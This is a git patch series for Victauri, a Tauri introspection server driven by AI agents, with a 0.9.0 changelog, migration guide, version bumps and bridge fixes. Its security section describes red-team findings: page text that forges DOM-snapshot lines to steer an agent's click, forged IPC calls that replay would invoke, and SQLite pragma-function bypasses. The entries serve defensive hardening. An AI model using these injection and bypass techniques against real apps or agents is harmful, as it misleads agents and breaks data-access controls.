(three +lenses + a live sweep of 4DA) and a five-lens pre-audit red team (auth/network boundary, new-code +correctness, data access & injection, supply chain, semver & claim honesty). Every finding was +verified against the code before it was fixed. **0.9.0 is a deliberate, one-time semver break** +(see below and MIGRATION.md) so that future field additions are never breaking again. + +### Breaking — public data types are now `#[non_exhaustive]` + +Output/data types across `victauri-core`, `victauri-plugin` and `victauri-test` (e.g. `IpcCall`, +`WindowState`, `DomSnapshot`, `VerificationResult`, `RecordedSession`, `VictauriState`, +`CommandTimingStats`, `PluginInfo`, `SmokeReport`, `AppEvent`'s struct variants, and several enums) +are `#[non_exhaustive]`. Code that *reads* them is unaffected; code that *builds* them by struct +literal uses the new constructors/builders instead (`IpcCall::new`, `WindowState::new(label) +.with_*(..)`, `CommandInfo::new(..).with_*(..)`, `AppEvent::console(..)`, …). `#[inspectable]` now +expands to those builders, so it keeps working unchanged. Internal-only modules and helpers +(`filmstrip`, `parse_bridge_event_from`, …) are no longer public API. `WebviewBridge` gained two +default-implemented methods (`try_list_window_labels`, `eval_webview_resolved`) and documents that +future additions will always have defaults. + +### Security — pre-audit red team (no Critical/High found) + +- **Hostile page content could forge or suppress eval results.** Pending eval ids lived on a + page-visible global (`window.__VIC_EVAL__`); the eval bookkeeping now lives in the bridge's + frozen closure, and serialization uses a `JSON.stringify` captured before any page script ran. +- **The injected bridge's log getters returned its live internal arrays**, so page script could + plant a forged "successful" IPC call (which `recording replay` would then invoke), hide its own + traffic, or freeze the recording drain. They now return copies; drain watermarks are clamped. +- **Page text could forge lines in the compact DOM snapshot** (a newline in an RSS title → a fake + `[eN] button "Save"` line steering an agent's click). Page-derived strings are now JSON-encoded. +- **`query_db` is enforced by SQLite's authorizer.** The string checks missed table-valued pragma + functions (`SELECT * FROM pragma_optimize` ran) and the parenthesized write form + (`PRAGMA user_version(5)`). Connections also run with `trusted_schema=OFF` + defensive mode, and + `db_health` never counts virtual tables (counting runs module code). +- **Browser-originated POSTs must be JSON** — with `auth_disabled()`, a page on any localhost origin + could fire CORS-simple (no-preflight) tool calls. The concurrency cap is now global (it was 64 + per route). +- `victauri bridge` counts only the current user's processes as alive (Unix); `query_db` absolute + paths no longer act as a file-existence oracle; page-originated evals get their own small + pending-eval budget so page script cannot starve the agent; the watchdog pins the app it watches + and trusts discovery dirs by owner, not permission bits alone. + +### Fixed — pre-audit correctness + +- The eval "window closed" detection no longer fires on a busy UI (a listing that timed out read + as "closed … it most likely ran — do not re-run it"), watches the exact window the script was + delivered to, and never stalls past its deadline. A trailing `// comment` in `eval_js` code no + longer turns the call into a parse error. ASI handling covers postfix `++`/`--`, regex literals, + keyword operators at line end and U+2028/2029. +- Recording: the background drain and `recording flush` share one per-window watermark (they + re-recorded each other's events); a new or imported recording never pulls in page history; IPC + calls are keyed by completion time, so a command slower than the drain gap no longer stays + "pending" forever. +- `trace` owns its recording by session id: restarting a trace no longer orphans the previous + recording, stopping one never stops a recording someone else started, and the 30-minute + auto-stop cannot stop a newer trace. +- `db_health` costs ~0 ms per table instead of ~25 ms (it capped out at ~200 tables per budget), + budgets its metadata phase, and reports a failed count as incomplete. +- Main-thread callers of the bridge (a sync command, a menu handler) run inline instead of risking + a deadlock on the dispatch lock; the Tauri-command eval paths go through the bridge (main thread, + serialized) instead of calling `webview.eval` from a worker thread. +- `victauri-test`: rediscovery after an app restart pins the app's identity and never falls back to + a default port; it also rediscovers on a refused connection. +- Tool annotations now match behavior (`recording`, `introspect`, `logs`, `window` are + destructive; `verify_state`/`wait_for`/`assert_semantic` run caller JS; `inspect`/`animation` + mutate the page), and several descriptions were corrected. The CLI's baked fallback tool list is + regenerated and pinned to the live tools by a test. + +### CI / release / docs + +- VS Code release: the build job holds no secrets and runs `npm ci --ignore-scripts`; publish + tokens are scoped to single steps. Surface Audit checks all six crates and fails on an unknown + registry answer. `e2e.yml` repaired. Crates now ship their LICENSE. `deny.toml` denies unknown + registries/git sources. `victauri init` writes a least-privilege CI workflow, builds `.mcp.json` + with a JSON serializer, and refuses to write through symlinks. +- README/docs: action names regenerated from the real enums; latency and "identical on all + platforms" overclaims corrected; plugin-as-dev-dependency advice fixed. + +The remainder of this entry is the first (full-surface) audit round, merged in #71: ### Fixed — agent-visible correctness @@ -1519,7 +1597,8 @@ Initial public release. - Security headers (X-Frame-Options, X-Content-Type-Options, Cache-Control) - Screenshot error handling: `GetDIBits()` return value checked on Windows -[Unreleased]: https://github.com/4DA-Systems/victauri/compare/v0.8.8...HEAD +[Unreleased]: https://github.com/4DA-Systems/victauri/compare/v0.9.0...HEAD +[0.9.0]: https://github.com/4DA-Systems/victauri/compare/v0.8.8...v0.9.0 [0.8.8]: https://github.com/4DA-Systems/victauri/compare/v0.8.7...v0.8.8 [0.8.7]: https://github.com/4DA-Systems/victauri/compare/v0.8.6...v0.8.7 [0.8.6]: https://github.com/4DA-Systems/victauri/compare/v0.8.5...v0.8.6 diff --git a/CLAUDE.md b/CLAUDE.md index 75895397..447b4025 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -184,6 +184,35 @@ Standalone binary. Monitors the MCP server health endpoint. - [x] Accessibility auditing (WCAG checks: alt text, labels, contrast, ARIA, headings) - [x] Performance profiling (navigation timing, resource loading, JS heap, long tasks, DOM stats) +## Current State (2026-09-27) + +### v0.9.0 — two audit rounds + a one-time `#[non_exhaustive]` break (release-prepped, NOT published) + +Triggered by an in-the-wild failure: a 4DA session ran `invoke_command quit_app` through the +bridge, the app quit, and the agent was told **"backend not reachable"** — the bridge had +**replayed the delivered call** (up to 4×) after the connection dropped. Round 1 (PR #71, merged): +a three-lens review + live 4DA sweep, ~50 verified fixes (bridge never replays a possibly-delivered +`tools/call`; `db_health` degrades instead of failing on 4DA's 1.4 GB DB; replay/trace/recording +lifecycle; JS-bridge host safety; CLI/test/VS Code/CI/docs). Round 2 (branch `release/0.9-prep`): +a five-lens pre-audit red team (auth/network, new-code correctness, data access/JS injection, +supply chain, semver/claims) — **no Critical/High**; every Medium/Low fixed, notably: eval state +moved off the page-visible global (page could forge/suppress results), log getters return copies +(page could plant a forged IPC call that replay would invoke), compact snapshot JSON-encodes page +text (line forgery), `query_db` enforced by SQLite's **authorizer** (+ `trusted_schema=OFF`, +defensive), browser-originated POSTs must be JSON, global concurrency cap, busy-UI ≠ closed window, +shared drain/flush watermark, trace owns its recording by session id, ASI edge cases, honest tool +annotations, and a test pinning the CLI's baked tool manifest to the live tools. + +**Why 0.9.0:** `VictauriState`, `IpcCall` and most public data types had all-pub fields and no +`#[non_exhaustive]`, so EVERY field addition was technically breaking. They are now +`#[non_exhaustive]` with constructors/builders (`#[inspectable]` expands to the builders). Consumers +bump `"0.8"` → `"0.9"`; 4DA needs no code change (verified against its sources). See MIGRATION.md. + +**Process notes:** the jsdom bridge tests SKIP silently unless `npm ci` has been run in +`crates/victauri-plugin/tests/bridge_tests/` (CI does it; fresh worktrees don't). The repo +pre-commit hook "sweeps stale build artifacts" and can break a cargo build running in the same +worktree — don't commit mid-gate. Unix-only code paths (bridge `ps -U`, watchdog/discovery owner +checks) are verified under WSL (`CARGO_TARGET_DIR=$HOME/vt-target`). ## Current State (2026-08-12) ### v0.8.8 — host-crash fix (Linux/WebKitGTK heap corruption), found during release prep diff --git a/Cargo.lock b/Cargo.lock index 7c69880d..1d0f95ea 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -827,7 +827,7 @@ dependencies = [ [[package]] name = "demo-app" -version = "0.8.8" +version = "0.9.0" dependencies = [ "reqwest 0.12.28", "serde", @@ -1307,7 +1307,7 @@ dependencies = [ [[package]] name = "gauntlet-app" -version = "0.8.8" +version = "0.9.0" dependencies = [ "reqwest 0.12.28", "rusqlite", @@ -5280,7 +5280,7 @@ checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" [[package]] name = "victauri-cli" -version = "0.8.8" +version = "0.9.0" dependencies = [ "anyhow", "axum", @@ -5299,7 +5299,7 @@ dependencies = [ [[package]] name = "victauri-core" -version = "0.8.8" +version = "0.9.0" dependencies = [ "axum", "chrono", @@ -5316,7 +5316,7 @@ dependencies = [ [[package]] name = "victauri-macros" -version = "0.8.8" +version = "0.9.0" dependencies = [ "proc-macro2", "quote", @@ -5327,7 +5327,7 @@ dependencies = [ [[package]] name = "victauri-plugin" -version = "0.8.8" +version = "0.9.0" dependencies = [ "anyhow", "axum", @@ -5361,7 +5361,7 @@ dependencies = [ [[package]] name = "victauri-test" -version = "0.8.8" +version = "0.9.0" dependencies = [ "axum", "base64 0.22.1", @@ -5379,7 +5379,7 @@ dependencies = [ [[package]] name = "victauri-watchdog" -version = "0.8.8" +version = "0.9.0" dependencies = [ "anyhow", "reqwest 0.12.28", diff --git a/Cargo.toml b/Cargo.toml index e33c0967..ec97058a 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -12,7 +12,7 @@ members = [ ] [workspace.package] -version = "0.8.8" +version = "0.9.0" edition = "2024" license = "Apache-2.0" repository = "https://github.com/4DA-Systems/victauri" @@ -46,10 +46,10 @@ use_self = "deny" redundant_pub_crate = "deny" [workspace.dependencies] -victauri-core = { version = "0.8.8", path = "crates/victauri-core" } -victauri-macros = { version = "0.8.8", path = "crates/victauri-macros" } -victauri-plugin = { version = "0.8.8", path = "crates/victauri-plugin" } -victauri-test = { version = "0.8.8", path = "crates/victauri-test" } +victauri-core = { version = "0.9.0", path = "crates/victauri-core" } +victauri-macros = { version = "0.9.0", path = "crates/victauri-macros" } +victauri-plugin = { version = "0.9.0", path = "crates/victauri-plugin" } +victauri-test = { version = "0.9.0", path = "crates/victauri-test" } # Tauri tauri = { version = "2", default-features = false } diff --git a/MIGRATION.md b/MIGRATION.md index 47e8a49a..402dd736 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -1,5 +1,57 @@ # Migration Guide +## v0.8.8 → v0.9.0 (public data types are `#[non_exhaustive]` — a one-time break) + +**Bump the requirement:** `victauri-plugin = "0.9"`, `victauri-test = "0.9"` (and `victauri-core` +if you depend on it directly). `^0.8` does not pick up 0.9. + +**Most apps need no code change.** Wiring the plugin (`VictauriBuilder`, `init()`, +`CommandInfo::new`, `register_commands!`, `#[inspectable]`), calling tools, and *reading* any +result type all work unchanged. You only need to change code that **constructs** one of these types +with a struct literal outside the crate that defines it — typically a mock `WebviewBridge` in +tests, or code that builds recordings/reports by hand: + +| Was | Now | +|---|---| +| `WindowState { label, title, visible, .. }` | `WindowState::new(label).with_title(..).with_visible(..)` | +| `IpcCall { id, command, .. }` | `IpcCall::new(id, command, timestamp, result, duration_ms, arg_size_bytes, webview_label)` | +| `RecordedSession { .. }` / `RecordedEvent { .. }` | `RecordedSession::new(..)` / `RecordedEvent::new(..)` | +| `SemanticAssertion { .. }` | `SemanticAssertion::new(..)` | +| `CommandInfo { .. }` / `CommandArg { .. }` | `CommandInfo::new(name).with_args(..).with_return_type(..)…`, `CommandArg::new(..)` | +| `AppEvent::Console { level, message, timestamp }` | `AppEvent::console(level, message, timestamp)` (same for `state_change`, `dom_mutation`, `dom_interaction`, `window_event`) | +| `PrivacyConfig { disabled_tools, ..Default::default() }` | `let mut p = PrivacyConfig::default(); p.disabled_tools = ..;` | +| `VictauriState { .. }` (tests) | `VictauriState::for_tests()` then set fields (hidden, test-only) | +| `CheckResult { .. }` / `VerifyReport { .. }` | `CheckResult::new(..)` / `VerifyReport::new(..)` | + +Exhaustive `match`es on the now-`#[non_exhaustive]` enums (`InteractionKind`, `CodegenStyle`, +`FaultType`, `JsonShape`, `PrivacyProfile`, `ThresholdPreset`) need a `_ =>` arm, and patterns on +`AppEvent`'s struct variants need `..`. + +**No longer public API:** `victauri_plugin::filmstrip`, `mcp::parse_bridge_event_from`; the +`js_bridge`, `screencast`, `database` modules and a few helpers are `#[doc(hidden)]` (reachable for +tests, not covered by semver). + +**Behavior changes to be aware of:** + +- `victauri bridge` does not replay a `tools/call` whose connection dropped after it was sent; it + returns an error saying the call most likely ran (e.g. a command that quit the app). +- `eval_js` / `invoke_command` report a closed target window or a shutting-down app promptly + instead of timing out. +- `recording replay` skips calls that had arguments, failed, or never completed (arguments are not + recorded); `recording import` is refused while a recording is in progress; `trace stop` only + stops the recording its own `with_events` started. +- `introspect db_health` returns partial results with `row_counts_complete` / + `integrity_check: "not completed…"` instead of failing on large databases. +- `query_db` rejects table-valued `pragma_*()` functions for non-allowlisted pragmas and the + `PRAGMA name(value)` write form. +- Browser-originated (`Origin`-bearing) POSTs to `/mcp` or `/api/tools` must be + `Content-Type: application/json` (415 otherwise). Non-browser clients are unaffected. +- Several tools' MCP annotations changed (`recording`, `introspect`, `logs`, `window` are now + `destructive_hint`; `verify_state`, `wait_for`, `assert_semantic`, `inspect`, `animation` are no + longer `read_only_hint`). Clients that auto-approve read-only tools will now ask for these. +- The compact `dom_snapshot` JSON-encodes page text (quotes/newlines in names appear escaped). +- `victauri-watchdog` discovers the app's port and pins its identity; with `--app` and no match it + reports the app down instead of polling 7373. ## v0.8.7 → v0.8.8 (MCP stack upgraded to rmcp 3.1.2 / MCP `2026-07-28`) No consumer code changes are required and no dependency-requirement change is needed diff --git a/README.md b/README.md index 3a20a60d..44736e19 100644 --- a/README.md +++ b/README.md @@ -411,7 +411,7 @@ Use the built-in composite action to run Victauri smoke tests in CI: xvfb-run -a ./target/debug/my-app & sleep 3 -- uses: 4DA-Systems/victauri/.github/actions/victauri-test@v0.8.8 +- uses: 4DA-Systems/victauri/.github/actions/victauri-test@v0.9.0 with: max-load-ms: 10000 max-heap-mb: 512 diff --git a/SECURITY.md b/SECURITY.md index 564bcdd1..01fedf82 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -4,9 +4,9 @@ | Version | Supported | |---------|-----------| -| 0.8.x | Yes | -| 0.7.x | Yes | -| < 0.7 | No | +| 0.9.x | Yes | +| 0.8.x | Security fixes only | +| < 0.8 | No | ## Reporting a Vulnerability diff --git a/crates/victauri-macros/README.md b/crates/victauri-macros/README.md index e15f2b79..824fb6b3 100644 --- a/crates/victauri-macros/README.md +++ b/crates/victauri-macros/README.md @@ -13,8 +13,8 @@ depend on `victauri-core` directly (whether you import the macro as ```toml [dependencies] -victauri-plugin = "0.8" -victauri-core = "0.8" +victauri-plugin = "0.9" +victauri-core = "0.9" ``` ```rust diff --git a/crates/victauri-plugin/README.md b/crates/victauri-plugin/README.md index 497a21a6..91d44696 100644 --- a/crates/victauri-plugin/README.md +++ b/crates/victauri-plugin/README.md @@ -8,7 +8,7 @@ Add the dependency: ```toml [dependencies] -victauri-plugin = "0.8" +victauri-plugin = "0.9" ``` Wire it into your Tauri app: diff --git a/crates/victauri-test/README.md b/crates/victauri-test/README.md index d5fcfa48..6e7b68f0 100644 --- a/crates/victauri-test/README.md +++ b/crates/victauri-test/README.md @@ -20,7 +20,7 @@ Typed HTTP client for the Victauri MCP server with high-level convenience method ```toml [dev-dependencies] -victauri-test = "0.8" +victauri-test = "0.9" tokio = { version = "1", features = ["rt-multi-thread", "macros"] } ``` diff --git a/docs/src/compatibility.md b/docs/src/compatibility.md index 56aae5ca..e6abc4b6 100644 --- a/docs/src/compatibility.md +++ b/docs/src/compatibility.md @@ -148,7 +148,7 @@ Returns: } ], "info": { - "bridge_version": "0.8.8", + "bridge_version": "0.9.0", "dom_elements": 847, "open_shadow_roots": 12, "event_listeners": 234, diff --git a/docs/src/getting-started.md b/docs/src/getting-started.md index 154f812a..78daf9bd 100644 --- a/docs/src/getting-started.md +++ b/docs/src/getting-started.md @@ -14,10 +14,10 @@ Add `victauri-plugin` to your app's `src-tauri/Cargo.toml`: ```toml [dependencies] -victauri-plugin = "0.8" +victauri-plugin = "0.9" ``` -The plugin runs inside your app process. In release builds, `init()` returns a no-op plugin (zero runtime cost) thanks to the `#[cfg(debug_assertions)]` gate — no feature flags needed. The crate still compiles into your binary (inert in release). For a zero compiled-footprint release, make it an optional dependency behind a Cargo feature (`victauri-plugin = { version = "0.8", optional = true }` + `[features] victauri = ["dep:victauri-plugin"]`) and gate the `.plugin(...)` call with `#[cfg(feature = "victauri")]`. Do **not** move it to `[dev-dependencies]` — dev-dependencies are only visible to tests/examples/benches, so the app binary would no longer compile. +The plugin runs inside your app process. In release builds, `init()` returns a no-op plugin (zero runtime cost) thanks to the `#[cfg(debug_assertions)]` gate — no feature flags needed. The crate still compiles into your binary (inert in release). For a zero compiled-footprint release, make it an optional dependency behind a Cargo feature (`victauri-plugin = { version = "0.9", optional = true }` + `[features] victauri = ["dep:victauri-plugin"]`) and gate the `.plugin(...)` call with `#[cfg(feature = "victauri")]`. Do **not** move it to `[dev-dependencies]` — dev-dependencies are only visible to tests/examples/benches, so the app binary would no longer compile. ## Step 2: Initialize the Plugin @@ -114,7 +114,7 @@ curl http://127.0.0.1:7373/health TOKEN=$(cat "${TMPDIR:-/tmp}"/victauri/*/token | head -n1) # single running app curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:7373/info -# Returns: {"name":"victauri","port":7373,"protocol":"mcp","version":"0.8.8",...} +# Returns: {"name":"victauri","port":7373,"protocol":"mcp","version":"0.9.0",...} ``` Or use the Victauri CLI: @@ -135,8 +135,8 @@ crate victauri_core`: ```toml [dependencies] -victauri-plugin = "0.8" -victauri-core = "0.8" +victauri-plugin = "0.9" +victauri-core = "0.9" ``` ```rust diff --git a/docs/src/testing-tauri-apps.md b/docs/src/testing-tauri-apps.md index 7e002f04..0ec33b53 100644 --- a/docs/src/testing-tauri-apps.md +++ b/docs/src/testing-tauri-apps.md @@ -436,7 +436,7 @@ Coverage gate ──────────────── victauri coverage - name: Start app run: xvfb-run --auto-servernum cargo run -p my-app & -- uses: 4DA-Systems/victauri/.github/actions/victauri-test@v0.8.8 +- uses: 4DA-Systems/victauri/.github/actions/victauri-test@v0.9.0 with: max-load-ms: 5000 coverage: true diff --git a/docs/src/testing.md b/docs/src/testing.md index 59d80b5a..804bf51e 100644 --- a/docs/src/testing.md +++ b/docs/src/testing.md @@ -8,7 +8,7 @@ Add the test crate to your dev dependencies: ```toml [dev-dependencies] -victauri-test = "0.8" +victauri-test = "0.9" tokio = { version = "1", features = ["macros", "rt-multi-thread"] } ``` @@ -843,7 +843,7 @@ Victauri tests run in CI without special infrastructure. Pick the approach that - name: Start app run: xvfb-run --auto-servernum cargo run -p my-app & -- uses: 4DA-Systems/victauri/.github/actions/victauri-test@v0.8.8 +- uses: 4DA-Systems/victauri/.github/actions/victauri-test@v0.9.0 with: max-load-ms: 5000 max-heap-mb: 256 diff --git a/server.json b/server.json index c4608cea..cd7f6f32 100644 --- a/server.json +++ b/server.json @@ -3,7 +3,7 @@ "name": "io.github.4da-systems/victauri", "title": "Victauri", "description": "Full-stack introspection and control for Tauri apps: DOM, IPC with bodies, Rust backend state, and SQLite through one in-process server. Debug builds only.", - "version": "0.8.8", + "version": "0.9.0", "repository": { "url": "https://github.com/4DA-Systems/victauri", "source": "github" @@ -13,7 +13,7 @@ { "registryType": "cargo", "identifier": "victauri-cli", - "version": "0.8.8", + "version": "0.9.0", "runtimeHint": "victauri", "transport": { "type": "stdio" }, "packageArguments": [ From 7b131afaec132cae128fdbf05bfcaffd9e3596eb Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 16:28:15 +1000 Subject: [PATCH 012/167] fix(plugin): gate lexically_normalize behind the sqlite feature (dead code under --no-default-features) Co-Authored-By: Claude Opus 5.5 (1M context) --- crates/victauri-plugin/src/mcp/mod.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 7065133c..4f2b2dca 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -5177,6 +5177,7 @@ const STMT_STARTS: &[&str] = &[ ]; /// Resolve `.` and `..` components without touching the filesystem. +#[cfg(feature = "sqlite")] fn lexically_normalize(path: &std::path::Path) -> std::path::PathBuf { let mut out = std::path::PathBuf::new(); for component in path.components() { From 8cc76235b13fc06ff86e9ebf4ee2f420f9638f95 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 17:16:28 +1000 Subject: [PATCH 013/167] fix(js-bridge): find_elements no longer calls a valid selector "invalid" while the page reloads Found by the live-4DA soak (45,905 calls, 6 reloads, 1 error): selector validation used document.body.matches(), so a null body during a reload threw a TypeError that was reported as "invalid CSS selector: button". Validation now uses a detached fragment, and a missing body reports "page not ready". Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/js_bridge.rs | 8 +++- crates/victauri-plugin/tests/bridge_tests.rs | 39 ++++++++++++++++++++ 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index d7ad4407..dc89e150 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -418,10 +418,16 @@ const INIT_SCRIPT_BODY: &str = r#" var maxResults = query.max_results || 10; if (query.css) { - try { document.body.matches(query.css); } catch(e) { + // Validate against a detached fragment, not document.body: while the page is + // reloading `body` is null, and the resulting TypeError used to be reported as + // "invalid CSS selector" for a perfectly valid selector. + try { document.createDocumentFragment().querySelector(query.css); } catch(e) { return { error: 'invalid CSS selector: ' + query.css + ' — ' + e.message }; } } + if (!document.body) { + return { error: 'page not ready: the document has no body yet (it may be loading or reloading) — retry shortly' }; + } function matches(el) { if (query.text) { diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index 722e0ce7..d71a3901 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -5221,3 +5221,42 @@ fn bridge_hardening_regressions() { assert_eq!(x["url_is_string"], "string"); assert_ne!(x["status"], "pending"); } + +// Live-4DA soak finding: during a page reload `document.body` is null, and find_elements +// reported a VALID selector as "invalid CSS selector" (the null TypeError was misattributed). +#[test] +fn find_elements_distinguishes_page_not_ready_from_bad_selector() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![ + case( + "valid selector with no body reports page-not-ready", + r" + document.documentElement.removeChild(document.body); + return window.__VICTAURI__.findElements({ css: 'button' }); + ", + ), + case( + "invalid selector is still reported as invalid", + r"return window.__VICTAURI__.findElements({ css: 'button[' });", + ), + ], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let no_body = results[0].result.as_ref().unwrap()["error"] + .as_str() + .unwrap_or_default() + .to_string(); + assert!(no_body.contains("page not ready"), "{no_body}"); + assert!(!no_body.contains("invalid CSS selector"), "{no_body}"); + let bad = results[1].result.as_ref().unwrap()["error"] + .as_str() + .unwrap_or_default() + .to_string(); + assert!(bad.contains("invalid CSS selector"), "{bad}"); +} From be75c903e5afbc54492f1c3f81c1704500b069f7 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 17:29:51 +1000 Subject: [PATCH 014/167] feat(eval): fail fast when the page reloads under an in-flight eval MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by the live-4DA soak: an eval in flight when its page reloaded (HMR, a navigation) waited out the full 30s timeout and then only guessed "…or the webview reloaded". Every bridge (re)init already sends a ready signal; the eval callback now records the load time per window (label from Tauri — page script cannot affect another window), and an eval whose window loads a new page after it was injected returns "window 'X' loaded a new page while the call was in flight … check the app's state before re-running it". A 250ms grace absorbs the fire-and-forget ready signal of the page the eval runs in, so a late signal is never mistaken for a reload. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/introspection.rs | 37 ++++++ crates/victauri-plugin/src/lib.rs | 5 + crates/victauri-plugin/src/mcp/mod.rs | 123 ++++++++++++++++++++ crates/victauri-plugin/src/tools.rs | 7 +- 4 files changed, 171 insertions(+), 1 deletion(-) diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index 4e70b812..30884d40 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -1247,6 +1247,43 @@ fn enumerate_children_macos(parent_pid: u32) -> Vec { children } +// ── Page loads ───────────────────────────────────────────────────────────── + +/// When each window last loaded a page, recorded whenever its JS bridge (re)initializes — i.e. +/// on every page load or reload. An eval running in a page that has since been replaced can +/// never deliver its result, so a later load lets the caller fail fast ("the page reloaded while +/// the call was in flight") instead of waiting out the full timeout. +#[derive(Default)] +pub struct PageLoads { + last_load: std::sync::Mutex>, + changed: tokio::sync::Notify, +} + +impl PageLoads { + /// Record that window `label` loaded a (new) page now. + pub fn record_load(&self, label: &str) { + self.last_load + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .insert(label.to_string(), Instant::now()); + self.changed.notify_waiters(); + } + + /// Whether window `label` loaded a page strictly after `t`. + #[must_use] + pub fn loaded_after(&self, label: &str, t: Instant) -> bool { + self.last_load + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .get(label) + .is_some_and(|at| *at > t) + } + + /// Resolves the next time any window records a page load. + pub fn changed(&self) -> tokio::sync::futures::Notified<'_> { + self.changed.notified() + } +} // ── Recording drain watermarks ───────────────────────────────────────────── /// Per-window high-water marks for pulling the JS bridge's event stream into a recording, diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 71ca6201..12b58446 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -209,6 +209,9 @@ pub struct VictauriState { /// Shared per-window watermarks for draining JS events into a recording. #[doc(hidden)] pub drain_watermarks: introspection::DrainWatermarks, + /// Per-window page-load generations (bumped by each bridge ready signal). + #[doc(hidden)] + pub page_loads: introspection::PageLoads, } impl VictauriState { @@ -249,6 +252,7 @@ impl VictauriState { db_search_paths: Vec::new(), probes: introspection::AppStateProbes::default(), drain_watermarks: introspection::DrainWatermarks::default(), + page_loads: introspection::PageLoads::default(), } } } @@ -842,6 +846,7 @@ impl VictauriBuilder { db_search_paths, probes: introspection::AppStateProbes::default(), drain_watermarks: introspection::DrainWatermarks::default(), + page_loads: introspection::PageLoads::default(), }); state.startup_timeline.mark("state_created"); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 4f2b2dca..46933cae 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -108,6 +108,9 @@ const DB_HEALTH_COUNT_BUDGET: std::time::Duration = std::time::Duration::from_se #[cfg(feature = "sqlite")] const DB_HEALTH_CHECK_BUDGET: std::time::Duration = std::time::Duration::from_secs(5); +/// A page load within this long of an eval's injection is attributed to the page the eval is +/// running in (a late ready signal), not to a reload that killed it. +const PAGE_RELOAD_GRACE: std::time::Duration = std::time::Duration::from_millis(250); /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; /// How often a slow eval re-checks that its target window still exists (first check after @@ -4608,6 +4611,11 @@ impl VictauriMcpHandler { return Err(format!("eval injection failed: {e}")); } }; + // If the target window loads a NEW page after the code was delivered, the result can + // never arrive. The grace period absorbs the ready signal of the page the code is + // running in (sent fire-and-forget at bridge init, so it can land just after our + // probe) — a load only counts once it is clearly later than the injection. + let reload_cutoff = std::time::Instant::now() + PAGE_RELOAD_GRACE; let deliver_to = if target.is_empty() { webview_label } else { @@ -4636,10 +4644,27 @@ impl VictauriMcpHandler { EVAL_WINDOW_WATCH_INTERVAL, ); let mut check: Option, String>>> = None; + let page_reloaded = + || { + watched.as_deref().and_then(|label| { + self.state.page_loads.loaded_after(label, reload_cutoff).then(|| { + format!( + "window '{label}' loaded a new page (a reload or navigation) while the \ + call was in flight, so no result will arrive. The code may or may not \ + have run before the reload — check the app's state before re-running it." + ) + }) + }) + }; let mut rx = rx; let outcome = loop { tokio::select! { r = &mut rx => break Ok(r), + () = self.state.page_loads.changed() => { + if let Some(msg) = page_reloaded() { + break Err(Some(msg)); + } + } () = tokio::time::sleep_until(deadline) => break Err(None), changed = shutdown.changed() => { if changed.is_err() || *shutdown.borrow() { @@ -4653,6 +4678,10 @@ impl VictauriMcpHandler { } } _ = liveness.tick(), if watched.is_some() && check.is_none() => { + // Backstop for a page-load notification that fired between select rounds. + if let Some(msg) = page_reloaded() { + break Err(Some(msg)); + } let bridge = Arc::clone(&self.bridge); check = Some(tokio::spawn(async move { bridge.try_list_window_labels() })); } @@ -6155,6 +6184,7 @@ mod authz_dispatch_tests { screencast: Arc::new(crate::screencast::Screencast::default()), probes: crate::introspection::AppStateProbes::default(), drain_watermarks: crate::introspection::DrainWatermarks::default(), + page_loads: crate::introspection::PageLoads::default(), }) } @@ -6546,6 +6576,7 @@ mod command_policy_dispatch_tests { screencast: Arc::new(crate::screencast::Screencast::default()), probes: crate::introspection::AppStateProbes::default(), drain_watermarks: crate::introspection::DrainWatermarks::default(), + page_loads: crate::introspection::PageLoads::default(), }) } @@ -6873,6 +6904,97 @@ mod command_policy_dispatch_tests { assert!(text.contains("timed out"), "{text}"); } + /// `RecordingBridge`, but reporting a live `main` window (so only page loads are in play). + struct MainWindowBridge(RecordingBridge); + + impl WebviewBridge for MainWindowBridge { + fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { + self.0.eval_webview(label, script) + } + fn get_window_states(&self, label: Option<&str>) -> Vec { + self.0.get_window_states(label) + } + fn 